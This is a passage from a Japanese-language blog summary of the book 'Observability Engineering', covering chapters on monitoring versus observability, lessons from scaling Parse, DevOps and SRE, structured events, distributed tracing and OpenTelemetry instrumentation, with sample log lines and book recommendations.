Monitoring」は、モニタリングとオブザーバビリティを用いたデバッグ手法の違いについて、非常に詳細かつ具体的に解説した章です。本書は、従来のモニタリングに基づくデバッグ手法の限界を多角的に分析し、オブザーバビリティがそれらの限界をどのように克服するのかを、説得力のある事例を交えて明確に示しています。モニタリングを用いたデバッグの限界本書は、モニタリングを用いたデバッグ手法の特徴と限界について、詳細な説明を提供しています。モニタリングは、システムの状態を事前に定義された閾値と比較することで、異常を検知するための手法です。エンジニアは、メトリクスとダッシュボードを使って、システムのパフォーマンスを監視し、問題が発生したときに通知を受け取ります。この手法は、既知の障害モードを検出するのには非常に有効です。 エンジニアは、過去の経験に基づいて、どのようなメトリクスが問題を示唆するのかを理解しており、それらのメトリクスに基づいてアラートを設定することができます。しかし、本書は、この手法には重大な限界があると指摘しています。まず、モニタリングは、予測不可能な障害モードに対応するのが難しいという点です。モニタリングでは、事前に定義された閾値に基づいてアラートが発生するため、閾値が設定されていない問題を見落とす可能性があります。また、閾値を超えても、必ずしも問題があるとは限りません。誤検知が多発すると、アラート疲れを引き起こし、重大な問題を見落とすリスクがあるのです。次に、モニタリングは、問題の根本原因を特定するのが難しいという点です。モニタリングツールは、メトリクスを収集し、集約することで、システムの全体的なパフォーマンスを可視化します。しかし、集約されたメトリクスでは、問題の根本原因を特定するのに十分な情報が得られないことがあります。エンジニアは、ダッシュボードを見ながら、自分の経験と直感に頼って、問題の原因を推測しなければなりません。さらに、モニタリングツールは、データの探索性に乏しいという点も問題です。多くのモニタリングツールでは、ダッシュボードが事前に定義された条件に基づいて構築されるため、エンジニアは、ダッシュボードに表示されている情報だけを頼りに問題を調査しなければなりません。新しい問題が発生した場合、ダッシュボードを修正するまで、その問題を発見することは困難なのです。本書は、これらの限界により、モニタリングに基づくデバッグ手法は本質的に受動的であると述べています。エンジニアは、既知の問題を検出することはできますが、新しい問題を発見し、その根本原因を特定することは困難です。このような受動的なアプローチでは、問題が発生してから対応するのではなく、問題を予防することは難しいのです。オブザーバビリティがもたらすデバッグの改善本書は、オブザーバビリティがデバッグ手法に革新をもたらすと主張しています。オブザーバビリティは、システムの内部状態を外部から観測し、理解するための仕組みです。オブザーバビリティツールは、高カーディナリティ(一意性)と高次元のデータを収集し、柔軟なクエリを可能にすることで、エンジニアがシステムの動作を詳細に理解できるようにします。オブザーバビリティの最大の強みは、データの探索性にあります。 オブザーバビリティツールは、収集したデータに対して、自由にクエリを実行し、絞り込みを行うことができます。これにより、エンジニアは、システムの動作を多角的に分析し、問題の根本原因を特定することができるのです。本書は、オブザーバビリティがもたらす具体的な改善点として、以下の3つを挙げています。制度的知識への依存の減少:モニタリングに基づくデバッグ手法では、システムに関する深い知識と経験が求められます。そのため、ベテランのエンジニアに依存することが多く、ナレッジの共有が難しいという問題がありました。オブザーバビリティツールを使えば、経験の浅いエンジニアでも、システムを自由に探索し、問題を診断することができます。 これにより、チーム全体のデバッグ能力が向上し、ナレッジの共有が促進されるのです。隠れた問題の発見:モニタリングでは、事前に定義された閾値に基づいてアラートが発生するため、閾値が設定されていない問題を見落とす可能性があります。オブザーバビリティは、予測不可能な障害モードを発見し、その根本原因を特定するための強力な手段となります。 高カーディナリティと高次元のデータを収集することで、システムの動作を詳細に分析できるため、これまで見落とされていた問題を発見できる可能性が高まるのです。問題診断に対する自信の向上:モニタリングツールでは、複数のデータソースを行き来しながら、問題を診断しなければなりません。このため、エンジニアは、自分の経験と直感に頼らざるを得ず、問題の診断に自信を持てないことがあります。オブザーバビリティツールは、複数のデータソースを統合し、一貫したコンテキストを提供します。 これにより、エンジニアは、システムの動作を詳細に理解し、問題を自信を持って診断できるようになるのです。本書は、これらの改善点を、モニタリングとオブザーバビリティの違いを浮き彫りにする具体的な例を交えて説明しています。例えば、あるエンジニアがデータベースにインデックスを追加した場合、モニタリングツールでは、インデックスの効果を確認するのが難しいかもしれません。しかし、オブザーバビリティツールを使えば、クエリのパフォーマンスを詳細に分析し、インデックスの効果を確認できるのです。また、本書は、オブザーバビリティがシステムの予防保全にも役立つと述べています。オブザーバビリティツールを使えば、システムの動作を常に監視し、問題の兆候を早期に発見することができます。これにより、問題が発生する前に対策を打つことができ、システムの可用性と信頼性が向上するのです。オブザーバビリティの重要性従来のモニタリングに基づくデバッグ手法は、システムの複雑化に伴って限界に直面しています。モニタリングは、既知の問題を検出するのには有効ですが、予測不可能な問題に対応するのが難しいのです。また、モニタリングでは、問題の根本原因を特定するのが難しく、エンジニアは自分の経験と直感に頼らざるを得ません。一方、オブザーバビリティは、これらの限界を克服するための強力な手段を提供します。 オブザーバビリティツールは、高カーディナリティと高次元のデータを収集し、柔軟なクエリを可能にすることで、エンジニアがシステムの動作を詳細に理解できるようにします。これにより、エンジニアは、予測不可能な問題を発見し、その根本原因を特定することができるのです。また、オブザーバビリティは、エンジニアリングチームのデバッグ能力を大幅に向上させます。オブザーバビリティツールを使えば、経験の浅いエンジニアでも、複雑なシステムの問題を自信を持って診断できるようになります。これにより、チーム全体のデバッグ能力が向上し、ナレッジの共有が促進されるのです。さらに、オブザーバビリティは、システムの予防保全にも役立ちます。オブザーバビリティツールを使えば、システムの動作を常に監視し、問題の兆候を早期に発見することができます。これにより、問題が発生する前に対策を打つことができ、システムの可用性と信頼性が向上するのです。本章は、モニタリングとオブザーバビリティという2つのデバッグ手法の違いを明確に示し、オブザーバビリティの重要性を説得力のある形で伝えています。 本書は、モニタリングの限界を詳細に分析し、オブザーバビリティがそれらの限界を克服するための強力な手段であることを、具体的な事例を交えて論証しています。Chapter 3. Lessons from Scaling Without Observability「Chapter 3. Lessons from Scaling Without Observability」は、著者の一人であるCharity MajorsがParseでの経験を通して、オブザーバビリティなしでスケーリングすることの難しさと、そこから学んだ教訓について語った章です。モダンな分散システムを従来のモニタリングツールで管理することの限界と、オブザーバビリティの必要性が具体的な事例を通して説明されています。en.wikipedia.orgParseにおけるスケーリングの課題Parseは、モバイルアプリ開発者にバックエンドサービスを提供するプラットフォームでした。著者がParseに参加した当初、同社はまだベータ版のサービスを提供している段階で、Amazon CloudWatchを使用していました。本書は、Icinga/NagiosとGangliaに切り替えましたが、これらのツールはParseのニーズに十分に対応できませんでした。Parseは、マイクロサービスアーキテクチャを早期に採用し、MongoDBをデータストアとして使用していました。Ruby on Railsで開発を行い、複数のデータベースシャードをサポートするためにRailsにモンキーパッチを当てる必要がありました。Parseは、開発スピードを最優先に考えていましたが、これは正しい判断でした。 早期の技術選択は後に修正が必要になりましたが、顧客を満足させ、市場でニーズを見出すことができたからです。しかし、Parseが成長するにつれて、選択したアーキテクチャとツールの限界が明らかになってきました。あるノルウェーのデスメタルバンドのアプリがiTunesストアで上位にランクインした際、Parseはわずか数秒でダウンしてしまいました。これは、同社のスケーリングの問題を浮き彫りにしました。モダンシステムへの進化本書は、Parseが直面した課題を、ソフトウェア業界全体の変化と関連づけて説明しています。かつては、「アプリ」と「データベース」という単純な構成が主流でしたが、現在では、モノリシックなアプリケーションからマイクロサービスへの移行、多様なデータストアの採用、コンテナやサーバーレスなどのインフラストラクチャの活用など、大きな変化が起こっています。これらの技術的な変化は、組織や文化にも大きな影響を与えています。かつては、開発チームと運用チームの間に高い障壁があり、コードのデプロイが不安定さを引き起こすことが多かったため、運用チームは変更を嫌がる傾向にありました。しかし、モダンなシステムでは、マイクロサービスの採用により、サービスの段階的なロールアウトやフィーチャーフラグの活用が可能になり、デプロイのリスクが軽減されています。モダンな実践へのシフト本書は、これらの技術的な変化に伴い、エンジニアリングチームの実践もシフトする必要があると主張しています。ステージング環境は、モノリシックなシステムでは有用でしたが、分散システムでは、本番環境を完全に再現することが難しいため、その価値は低下しています。このため、デバッグや検査は本番環境で行う必要があります。また、ユーザーエクスペリエンスは、すべてのユーザーに対して一般化できなくなりました。サービスの異なるユーザーが、異なるコンポーネントを使って異なる経路をたどる可能性があるためです。モニタリングにおいても、既知の閾値を超えるエッジケースを探すアラートは、多くの誤検知を生み出します。アラートは、ユーザーエクスペリエンスに直接影響を与える症状にのみ焦点を当てるべきです。これらの変化は、本番環境に精通することの重要性を高めています。かつては、本番環境への変更を恐れ、問題が発生したらすぐにロールバックする傾向がありましたが、モダンなシステムでは、エンジニアが本番環境を深く理解し、問題に対して細やかな調整を行えるようになる必要があるのです。Parseにおける実践のシフトParseでは、従来のアプローチでは対応できない新しい問題が次々と発生し、ヒーロー文化の限界が明らかになりました。かつては、最も経験豊富なエンジニアが最高のデバッガーでしたが、これはスケールしません。Facebookに買収された後、著者はScubaというデータ管理システムに出会いました。Scubaは、リアルタイムでデータを細かくスライスアンドダイスできる機能を提供し、新しい問題の原因をわずか数分で特定できるようになりました。この経験から、本書では、問題を新しいものとしてアプローチし、データに基づいて真の原因を特定することの重要性を学びました。オブザーバビリティにより、マイクロサービス、ポリグロットストレージシステム、マルチテナンシーなど、従来のアプローチでは扱いが難しかった問題を、迅速かつ効果的に診断できるようになったのです。様々な経験を経たオブザーバビリティの重要性著者の経験は、従来のモニタリングアプローチから、モダンな分散システムとオブザーバビリティへの移行の必要性を示しています。オブザーバビリティは、モダンなシステムのスケーリングに伴う問題を解決するための鍵です。 アプリケーションのテレメトリーを適切な抽象度で収集し、ユーザーエクスペリエンスを中心に集約し、リアルタイムで分析できるようにすることで、システムの内部動作を深く理解できるようになります。オブザーバビリティにより、エンジニアリングチームは、システムの問題を迅速に特定し、根本原因を突き止められるようになります。 これにより、ヒーロー文化から脱却し、チーム全体でナレッジを共有し、効果的なデバッグを行えるようになるのです。著者の経験は、多くの組織がモダンな分散システムを採用するにつれて、ますます一般的になっています。オブザーバビリティは、これらのシステムのスケーリングに不可欠なものとなっているのです。Chapter 4. How Observability Relates to DevOps, SRE, and Cloud Native「Chapter 4. How Observability Relates to DevOps, SRE, and Cloud Native」は、オブザーバビリティがDevOps、SRE、クラウドネイティブの実践とどのように関係しているかを解説した章です。本書は、これらの動きがオブザーバビリティの必要性を高めると同時に、オブザーバビリティがこれらの実践を強化していると主張しています。CNCFのドキュメントにも記載がありますがめちゃくちゃに簡潔です。glossary.cncf.ioオブザーバビリティに関する包括的な解説書として、「Cloud Observability in Action」が挙げられます。この書籍では、クラウドネイティブシステムにおけるオブザーバビリティの適用方法、様々なオブザーバビリティシグナル(ログ、メトリクス、トレースなど)の特徴と費用対効果、適切なインストルメンテーションとシグナル収集の手法、大規模なダッシュボーディング、アラート、SLO/SLIの提供、役割やタスクに応じた適切なシグナルタイプの選択、目的に応じた最適なオブザーバビリティツールの選び方、経営陣へのオブザーバビリティの効果のコミュニケーション方法などが解説されています。learning.oreilly.com適切に設計されたオブザーバビリティシステムは、クラウドネイティブアプリケーションのバグやパフォーマンス問題に関する洞察を提供します。開発チームがコード変更の影響を理解し、最適化を測定し、ユーザーエクスペリエンスを追跡するのに役立ちます。さらに、オブザーバビリティによってエラー処理を自動化し、マシンユーザーが自身で修正を適用できるようになるため、深夜の緊急障害発生による呼び出しも不要になります。クラウドネイティブ、DevOps、SREの概要本書は、モノリシックなアーキテクチャとウォーターフォール開発から、クラウドネイティブとアジャイル手法への移行が進んでいると指摘しています。クラウドネイティブは、スケーラビリティと開発速度の向上を目指していますが、同時に管理コストの増加という課題も抱えています。クラウドネイティブシステムを実現するには、継続的デリバリーやオブザーバビリティなどの高度な社会技術的実践が不可欠なのです。また、DevOpsとSREは、フィードバックループを短縮し、運用の負担を軽減することを目指しています。DevOpsは、開発と運用の協調を通じて価値の提供を加速し、SREはソフトウェアエンジニアリングのスキルを活用して複雑な運用問題を解決します。クラウドネイティブ技術、DevOpsとSRE手法、オブザーバビリティの組み合わせは、それぞれの個別の要素よりも強力なのです。※こちら、SREがもう少し気になる方向けsyu-m-5151.hatenablog.comオブザーバビリティ:昔と今のデバッグオブザーバビリティの目的は、システムの内部状態を理解するための内省を提供することです。モノリシックなシステムでは、詳細なアプリケーションログやシステムレベルのメトリクスを使用して、潜在的な障害箇所を予測し、デバッグすることができました。しかし、これらのレガシーツールと直感的なテクニックは、クラウドネイティブシステムの管理課題には対応できなくなっています。クラウドネイティブ技術は、コンポーネント間の依存関係による認知的複雑さ、コンテナ再起動後に失われる一時的な状態、個別にリリースされるコンポーネント間のバージョン不整合など、新しい問題を引き起こします。分散トレーシングなどのツールを使用して、特定のイベントが発生したときのシステム内部の状態を捕捉することで、これらの問題をデバッグできるようになります。オブザーバビリティがDevOpsとSREの実践を強化するDevOpsとSREチームの仕事は、本番システムを理解し、複雑さを制御することです。したがって、彼らがシステムのオブザーバビリティに関心を持つのは自然なことです。SREはSLOとエラーバジェットに基づいてサービスを管理し、DevOpsは開発者が本番環境でコードに責任を持つ、クロスファンクショナルな実践を通じてサービスを管理します。成熟したDevOpsとSREチームは、ユーザーに影響を与える症状を測定し、オブザーバビリティツールを使用して障害の理解を深めます。 これにより、チームは実際のシステム障害に対する仮説を体系的に絞り込み、緩和策を考案することに集中できるようになります。さらに、先進的なDevOpsとSREチームは、フィーチャーフラグ、継続的検証、インシデント分析などのエンジニアリング手法を使用しています。オブザーバビリティは、これらのユースケースを効果的に実践するために必要なデータを提供することで、これらのユースケースを強化します。カオスエンジニアリングと継続的検証では、システムの基準状態を理解し、期待される動作を予測し、期待される動作からの逸脱を説明するためにオブザーバビリティが必要です。フィーチャーフラグでは、ユーザーごとにフィーチャーフラグの個別の影響と集合的な影響を理解するためにオブザーバビリティが必要です。カナリアリリースやブルー/グリーンデプロイメントなどの段階的リリースパターンでは、リリースを停止するタイミングを知り、システムの期待値からの逸脱がリリースに起因するかどうかを分析するためにオブザーバビリティが必要です。インシデント分析と非難のない事後検証では、技術システムの内部で何が起こっていたかだけでなく、インシデント中にオペレーターが何を信じていたかを明確にモデル化する必要があります。オブザーバビリティツールは、事後の記録を提供し、回顧録の作成者に詳細な手がかりを与えることで、優れた振り返りを行うことを可能にします。再三だがオブザーバビリティの重要性本章の結論として、DevOps、SRE、クラウドネイティブの実践が進化し、プラットフォームエンジニアリングが包括的な規律として成長するにつれ、より革新的なエンジニアリング実践がツールチェーンに現れるだろうと述べています。しかし、これらのイノベーションはすべて、現代の複雑なシステムを理解するための中核的な感覚としてオブザーバビリティを必要とするでしょう。DevOps、SRE、クラウドネイティブの実践への移行は、オブザーバビリティのようなソリューションの必要性を生み出しました。一方、オブザーバビリティは、その実践を採用したチームの能力を飛躍的に高めてきました。オブザーバビリティは、モダンなソフトウェア開発と運用に不可欠な要素となっています。 それは、複雑なシステムを理解し、問題を迅速に特定し、根本原因を突き止めるための強力なツールを提供します。また、オブザーバビリティは、DevOpsとSREの実践を強化し、カオスエンジニアリング、フィーチャーフラグ、段階的リリース、インシデント分析などのエンジニアリング手法を効果的に実践するためのデータを提供します。クラウドネイティブ、DevOps、SREの動きは、オブザーバビリティの必要性を高めると同時に、オブザーバビリティがこれらの実践を強化しているのです。オブザーバビリティは、モダンなソフトウェアエンジニアリングにおいて不可欠な要素であり、その重要性はますます高まっていくでしょう。Part II. Fundamentals of Observability本書の第2部では、オブザーバビリティの技術的な側面について深く掘り下げ、オブザーバブルなシステムにおいて特定の要件が必要とされる理由を詳しく説明します。Chapter 5. Structured Events Are the Building Blocks of Observability「Chapter 5. Structured Events Are the Building Blocks of Observability」は、オブザーバビリティの基本的な構成要素である構造化イベントについて詳しく解説した章です。本書はオブザーバビリティを実現するために、任意の幅を持つ構造化イベントが不可欠であると主張し、構造化イベントの概念、利点、オブザーバビリティにおける役割について深く掘り下げています。構造化イベントの背景を理解するには、マイクロサービスアーキテクチャの知識が役立ちます。「Monolith to Microservices」は、従来のモノリシックなアーキテクチャからマイクロサービスへの移行プロセスを詳しく解説しており、様々な具体例、洞察に富んだ移行パターン、実務的なアドバイスが満載です。初期計画からアプリケーション・データベースの分解に至るまで、移行の様々なシナリオやストラテジーが網羅されており、既存アーキテクチャの移行に役立つ試行済みのパターン・テクニックを学ぶことができます。マイクロサービスへの移行を検討する組織にとって理想的な一冊であり、移行の是非、タイミング、開始地点の判断を支援するだけでなく、レガシーシステム移行、マイグレーションパターン、データベース移行例、同期戦略、アプリケーション分解、データベース分解の詳細などについても掘り下げられています。learning.oreilly.comオブザーバビリティと構造化イベントオブザーバビリティとは、システムが取りうる任意の状態を理解し、説明できる程度を表します。そのためには、事前に予測することなく、あらゆる質問に答えられるようにしなければなりません。これを可能にするのが、構造化イベントなのです。構造化イベントとは、1つのリクエストがサービスと相互作用している間に発生したすべてのことを記録したものです。リクエストの入力時に既知のデータを事前に入力し、実行中に発見された有用な情報を追加し、リクエストの出力時やエラー時にパフォーマンスに関するデータを記録します。例えば、あるウェブサーバーへのリクエストでは、リクエストに含まれる各パラメータ(ユーザーIDなど)、意図したサブドメイン(www、docs、support、shopなど)、合計処理時間、依存する子リクエスト、それらの子リクエストを満たすために関与する様々なサービス(web、database、auth、billingなど)、各子リクエストの処理時間などを記録することができます。このように、構造化イベントには、リクエストの実行に関するコンテキストを表すデータが豊富に含まれています。 成熟した計装では、イベントごとに300〜400のディメンションが含まれることが一般的だそうです。構造化イベントを使ってサービスの動作を理解する際には、後でデバッグに関連する可能性のあるものを何でも記録するというモデルを覚えておく必要があります。これには、リクエストパラメータ、環境情報、ランタイムの内部情報、ホストやコンテナの統計情報などが含まれます。メトリクスの限界本書は、メトリクスの限界についても詳しく説明しています。メトリクスに関しては改定した『Prometheus: Up & Running, 2nd Edition』も紹介しておきます。learning.oreilly.comメトリクスとは、事前に定義された期間にわたってシステムの状態を表す数値を収集し、必要に応じてタグを付けてグループ化や検索を可能にしたものです。メトリクスは、従来のソフトウェアシステムの監視の中核をなすものです。しかし、メトリクスの根本的な限界は、それが事前に集約された測定値だということです。メトリクスによって生成される数値は、事前に定義された期間におけるシステム状態の集約レポートを反映しています。この事前集約された測定値は、システム状態を調べるための最小の粒度となり、多くの潜在的な問題を覆い隠してしまうのです。例えば、page_load_timeというメトリクスは、直近の5秒間にすべてのアクティブページの読み込みにかかった平均時間を調べるかもしれません。requests_per_secondというメトリクスは、直近の1秒間にあるサービスがオープンしていたHTTP接続の数を調べるかもしれません。メトリクスは、特定の期間に測定されたプロパティの数値で表現されるシステムの状態を反映しています。 その期間中にアクティブだったすべてのリクエストの動作は、1つの数値に集約されます。この例では、そのシステムを流れる特定のリクエストの存続期間中に何が起こったかを調査することは、これらのメトリクスにつながる一連の痕跡を提供することになります。しかし、さらに掘り下げるために必要な粒度のレベルは利用できません。このように、メトリクスは、1つのシステムプロパティの1つの狭いビューとしてのみ機能します。粒度が大きすぎ、システムの状態を別のビューで表示する能力が硬直していて、1つのサービスリクエストの作業単位を表すために組み合わせるには限界があります。非構造化ログの限界本書は、非構造化ログの限界についても言及しています。ログファイルは、本質的に大きな非構造化テキストの塊であり、人間が読めるように設計されていますが、機械で処理するのは難しいです。これらのファイルは、アプリケーションや様々な基盤システムによって生成される文書で、設定ファイルで定義された、注目に値するすべてのイベントの記録が含まれています。従来のログは、人間が読みやすいように設計されているため、非構造化になっています。残念ながら、人間が読みやすくするために、ログではしばしば、1つのイベントの生々しい詳細が複数行のテキストに分割されてしまいます。例えば、以下のようなログがあるとします。6:01:00 accepted connection on port 80 from 10.0.0.3:633496:01:03 basic authentication accepted for user foo 6:01:15 processing request for /super/slow/server6:01:18 request succeeded, sent response code 200 6:01:19 closed connection to 10.0.0.3:63349このような物語形式の構造は、開発段階でサービスの詳細を学ぶ際には役立ちますが、大量のノイズデータを生成し、本番環境では遅くて扱いにくくなります。非構造化ログは人間が読めますが、計算的に使用するのは難しいのです。 一方、構造化ログは機械で解析可能です。上の例は、構造化ログに書き換えると以下のようになります。time=\\"6:01:00\\" msg=\\"accepted connection\\" port=\\"80\\" authority=\\"10.0.0.3:63349\\"time=\\"6:01:03\\" msg=\\"basic authentication accepted\\" user=\\"foo\\" time=\\"6:01:15\\" msg=\\"processing request\\" path=\\"/super/slow/server\\"time=\\"6:01:18\\" msg=\\"sent response code\\" status=\\"200\\" time=\\"6:01:19\\" msg=\\"closed connection\\" authority=\\"10.0.0.3:63349\\"さらに、これらのログ行を1つのイベントにまとめると、以下のようになります。{\\"authority\\":\\"10.0.0.3:63349\\",\\"duration_ms\\":123,\\"level\\":\\"info\\", \\"msg\\":\\"Served HTTP request\\",\\"path\\":\\"/super/slow/server\\", \\"port\\":80,\\"service_name\\":\\"slowsvc\\",\\"status\\":200,\\"time\\":\\"2019-08-22T11:57:03-07:00\\",\\"trace.trace_id\\":\\"eafdf3123\\",\\"user\\":\\"foo\\" }このように、構造化ログは、構造化イベントに似るように再設計されていれば、オブザーバビリティの目的に役立ちます。デバッグに役立つイベントのプロパティ新しい問題をデバッグするには、通常、外れ値の条件を持つイベントを検索し、パターンを見つけたり、それらを関連付けたりすることで、以前は知られていなかった障害モードを発見することを意味します。そのような相関関係を見つけるには、オブザーバビリティソリューションが高カーディナリティのフィールドを処理できる必要があります。カーディナリティとは、セット内の一意の要素の数を指します。一意の識別子を含むディメンションは、可能な限り最高のカーディナリティを持ちます。例えば、ある問題の原因を突き止めるために、「先週の火曜日にアプリをインストールした、ファームウェアバージョン1.4.101を実行している、写真をus-west-1のshard3に保存しているフランス語パックを使用しているiOS11バージョン11.0.4を実行しているすべてのカナダのユーザー」を見つけ出すクエリを作成する必要があるかもしれません。これらの制約のひとつひとつが、高カーディナリティのディメンションなのです。オブザーバビリティツールは、調査員に役立つためには、高カーディナリティのクエリをサポートできる必要があります。 現代のシステムでは、新しい問題をデバッグするのに最も役立つディメンションの多くは、カーディナリティが高くなっています。また、調査では、これらの高カーディナリティのディメンションを組み合わせる(つまり、高次元)ことで、深く隠れた問題を見つけ出すことがよくあります。高カーディナリティと高次元は、複雑な分散システムの干し草の山から、非常に細かい針を見つけ出すための機能なのです。オブザーバビリティの基盤としての構造化イベント本章の結論として、オブザーバビリティの基本的な構成要素は、任意の幅を持つ構造化イベントであると強調しています。オブザーバビリティには、デバッグプロセスを反復的に進める際に、あらゆる質問に答えるために、任意の数のディメンションに沿ってデータをスライスアンドダイスする能力が必要です。 構造化イベントは、システムが1つの作業単位を達成したときに何が起こっていたかを理解するのに十分なデータを含んでいる必要があるため、任意の幅でなければなりません。分散サービスの場合、これは通常、1つの個別のサービスリクエストの存続期間中に発生したすべてのことの記録として、イベントのスコープを設定することを意味します。メトリクスは、システムの状態を表す1つの狭いビューとしてのみ機能します。粒度が大きすぎ、システムの状態を別のビューで表示する能力が硬直していて、オブザーバビリティの基本的な構成要素としては限界があります。非構造化ログは人間が読めますが、計算的に使用するのは難しいです。構造化ログは機械で解析可能であり、構造化イベントに似るように再設計されていれば、オブザーバビリティの目的に役立ちます。オブザーバビリティを実現するには、構造化イベントという形でテレメトリを収集し、高カーディナリティと高次元のデータを分析できる機能が不可欠なのです。Chapter 6. Stitching Events into Traces分散トレーシングの重要性「Chapter 6. Stitching Events into Traces」は、構造化イベントをトレースに組み立てる方法と、その重要性について詳しく解説した章です。本書は、分散トレーシングが今日において重要である理由を詳細に説明しています。現代のソフトウェアシステムは、多数のサービスが連携して機能するマイクロサービスアーキテクチャが主流となっています。このような環境では、あるリクエストを処理するために、複数のサービスを横断する必要があります。分散トレーシングは、そのリクエストがどのようにサービス間を移動し、処理されているかを追跡するための方法です。これにより、障害が発生した場所を特定し、パフォーマンスのボトルネックとなっている要因を特定することができます。マイクロサービスアーキテクチャの普及に伴い、このようなデバッグ手法の需要が高まっているのです。また、分散システムでは、サービス間の依存関係が複雑になるため、問題の原因を特定することが非常に難しくなります。例えば、あるサービスがデータベースの応答を待っている間にレイテンシが累積し、上流のサービスに伝播していくことがあります。分散トレーシングは、このようなサービス間の関係を明確に示すことができるため、問題の根本原因を突き止めるために非常に有効なのです。本書は、分散トレーシングが最初に注目を集めるようになったのは、2010年にGoogleがDapper論文を発表して以降だと述べています。Dapperは、Googleが社内で使用している分散トレーシングシステムで、大規模な分散システムのパフォーマンスを理解し、障害を特定するために開発されました。Dapper論文の発表後、TwitterがZipkinを、UberがJaegerというオープンソースのトレーシングプロジェクトを立ち上げました。これらのプロジェクトは、Dapperの概念を基に、より一般的な用途に適したトレーシングシステムを提供しています。また、Honeycomb や Lightstep などの商用ソリューションも登場しています。このように、分散トレーシングは、現代のソフトウェアシステムにおいて不可欠なツールとなっており、その重要性は日に日に高まっているのです。トレーシングのコンポーネント本書は、トレースを構成するコンポーネントについて、非常に詳細に説明しています。トレースは、1つのリクエストに関連する一連のイベントを表します。これらのイベントは、トレーススパンと呼ばれる個々のチャンクで構成されています。各スパンは、リクエストの処理中に発生した作業の一部を表しており、その作業が行われたサービスや、作業の開始時刻と期間などの情報を含んでいます。Figure 6-1. This waterfall-style trace visualization displays four trace spans during one request より引用トレース内の各スパンは、ルートスパンと呼ばれるトップレベルのスパンの中にネストされています。ルートスパン自体は親を持ちませんが、その下のスパンは親子関係を持ちます。例えば、サービスAがサービスBを呼び出し、サービスBがサービスCを呼び出す場合、スパンAはスパンBの親であり、スパンBはスパンCの親であるという関係になります。Figure 6-2. A trace that has two parent spans. Span A is the root span and is also the parent of Span B. Span B is a child of Span A and also the parent of Span C. Span C is a child of Span B and has no child spans of its own. より引用本書は、トレースを構築するために必要な5つのデータについても詳しく説明しています。トレースID:トレース全体を通して一意な識別子。ルートスパンによって作成され、リクエストの処理中に伝播される。スパンID:各スパンを一意に識別するための識別子。親ID:スパンのネストの関係を定義するために使用されるフィールド。ルートスパンには存在しない。タイムスタンプ:スパンの作業が開始された時刻を示す。期間:作業が完了するまでにかかった時間を記録する。これらのフィールドは、トレースの構造を組み立てるために絶対に必要です。さらに、サービス名やスパン名などの追加のフィールドを含めることで、スパンを特定したり、システムとの関係を理解したりするのに役立ちます。本書は、これらのコンポーネントがどのように機能するかを理解することが、分散トレーシングを効果的に活用するために重要だと強調しています。トレースの手動インストルメンテーション本書は、トレースのコアコンポーネントがどのように機能するかを理解するために、単純なトレーシングシステムを手動で実装する例を提示しています。この例では、Goを使用して、3つのスパンを持つウェブエンドポイントを実装しています。rootHandlerへのオリジナルリクエスト認証サービスへの呼び出し(リクエストを認証するため)名前サービスへの呼び出し(ユーザー名を取得するため)コードの例では、以下のステップでトレースを生成しています。ルートスパンでトレースIDとスパンIDを生成する。リクエストの開始時と終了時のタイムスタンプを取得し、その差分からスパンの期間を計算する。サービス名とスパン名を追加する。アウトバウンドのHTTPリクエストにトレースIDと親スパンIDを伝播させる。さらに、デバッグに役立つ追加のフィールド(ホスト名、ユーザー名など)をスパンに追加する方法も示されています。Figure 6-3. Our example app would now propagate traceID and parentID to each child span本書は、これらのコードの例が、トレーシングの概念を理解するために役立つものの、実際のアプリケーションでは、ボイラープレートコードを自分で書く必要はないと述べています。通常、トレーシングシステムには、これらの設定作業の大部分を行うためのライブラリが用意されています。ただし、これらのライブラリは、特定のトレーシングソリューションに固有のものであることが多く、別のソリューションを試すためにはコードを再インストルメント化する必要があります。次章では、オープンソースでベンダーに依存しないOpenTelemetryプロジェクトについて説明します。トレースへのイベントの組み込み本書は、前章で説明した構造化イベントをトレースに組み込む方法についても言及しています。イベントは、オブザーバビリティの構成要素であり、1つのリクエストがサービスとやり取りしている間に発生したすべてのことの記録です。リクエストの実行中に発生した興味深い詳細(変数の値、渡されたパラメータ、返された結果、関連するコンテキストなど)はすべてイベントに追加されるべきです。コードの例では、リモートサービスの呼び出しレベルでインストルメンテーションを行っていますが、オブザーバブルなシステムでは、同じアプローチを使って、異なるソースからの任意の数の相関イベントを結びつけることができます。例えば、現在の単一行のロギングソリューションから、より統合されたビューへの移行の第一歩として、構造化ログにトレースの概念を適用することができます。また、分散型ではないが、独自のスパンに分割したいような作業のチャンク(JSONのアンマーシャリングなどのCPU集約型の操作など)にも、同じ手法を使うことができます。オブザーバブルなシステムでは、任意の一連のイベントをトレースに組み込むことができます。 トレーシングは、サービス間の呼び出しに限定される必要はありません。同じバッチジョブから作成されたすべての個別のファイルアップロードなど、システム内の相互に関連する離散的なイベントにも適用できます。トレーシングの重要性とオープンソースフレームワークの活用本章の結論として、イベントがオブザーバビリティの構成要素であり、トレースは単に相互に関連するイベントの系列であると強調しています。スパンを結合してトレースを作成するために使用される概念は、サービス間の通信の設定に非常に役立ちます。 これらの概念を理解することは、分散システムの動作を理解し、問題の根本原因を特定するために不可欠です。また、オブザーバブルなシステムでは、これらの同じ概念を、remote procedure call(RPC)を行うことを超えて、相互に関連するシステム内の離散的なイベントに適用することもできます。 これにより、システムの動作をより詳細に理解し、問題の原因を特定することができるようになります。本章ではトレースを手動でインストルメント化する方法を示しましたが、より実用的な方法は、インストルメンテーションフレームワークを使用することだと述べています。次章では、オープンソースでベンダーに依存しないOpenTelemetryプロジェクトと、それを使って本番アプリケーションをインストルメント化する方法と理由について説明します。分散トレーシングは、現代のソフトウェアシステムにとって不可欠なツールであり、オブザーバビリティを実現するための重要な要素です。 構造化イベントをトレースに組み立てることで、分散システムの動作を詳細に理解し、問題の根本原因を特定することができるようになります。また、OpenTelemetryのようなオープンソースのインストルメンテーションフレームワークを活用することで、ベンダーロックインを避け、様々なトレーシングソリューションを柔軟に試すことができます。これにより、システムの可観測性を継続的に向上させ、より信頼性の高いサービスを提供することができるのです。Chapter 7. Instrumentation with OpenTelemetry「Chapter 7. Instrumentation with OpenTelemetry」は、オープンソースのインストルメンテーションフレームワークであるOpenTelemetryについて詳しく解説し、それを使って本番アプリケーションをインストルメント化する方法と理由を説明した章です。本書は、ベンダーに依存しない計装の重要性を強調し、OpenTelemetryの機能と利点を具体的に示しています。私も『Learning 